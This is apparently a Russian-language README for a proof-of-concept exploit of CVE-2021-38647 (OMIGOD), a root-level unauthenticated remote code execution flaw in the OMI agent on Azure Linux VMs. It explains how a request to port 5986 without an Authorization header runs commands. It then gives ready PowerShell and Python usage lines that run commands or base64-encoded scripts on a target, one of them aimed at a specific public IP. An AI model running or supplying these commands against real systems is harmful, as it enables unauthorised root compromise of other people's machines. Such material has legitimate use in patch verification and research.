CVE-2021-38647

CVE-2021-38647 - POC для эксплуатации неаутентифицированного RCE #OMIGOD на Azure UNIX/Linux VMs!

Подробности

В Microsoft Azure приложение OMI автоматически устанавливается, когда такие службы, как Azure Automation Accounts, Update Management, Log Analytics, Configuration Management и т.д., используются для UNIX/Linux ВМ. Приложение OMI также открывает службу через порт 5986, если служба Configuration Management используется для удаленного управления машиной.

Любой, имеющий сетевой доступ к уязвимой конечной точке, может отправить запрос, использующий провайдер SCXcore без заголовка Authorization, и выполнить команды ОС на целевой машине с привилегиями root!

Эта уязвимость уже исправлена, но всегда стоит проверить Linux ВМ в Azure.

Использование

PowerShell

# Execute command on the target machine.
Invoke-CVE-2021-38647 -TargetIP 127.0.0.1 -TargetPort 5986 -Command whoami

# Execute script on the target machine.
$MyScript = @"
id
whoami
uname -a
"@
$enc = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($MyScript))
Invoke-CVE-2021-38647 -TargetIP 1.1.1.1 -TargetPort 5986 -Script $enc

Python

# Execute command on the target machine.
python CVE-2021-38647.py -t 40.87.92.228 -p 5986 -c id

# Execute script on the target machine.
$MyScript = @"
id
whoami
uname -a
"@
$enc = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($MyScript)) #  For Windows

echo 'id' | base64 # For Linux

python CVE-2021-38647.py -t 40.87.92.228 -s ZWNobyAiIg0KZWNobyAiSGVsbG8iDQplY2hvICJHb29kYnllIg==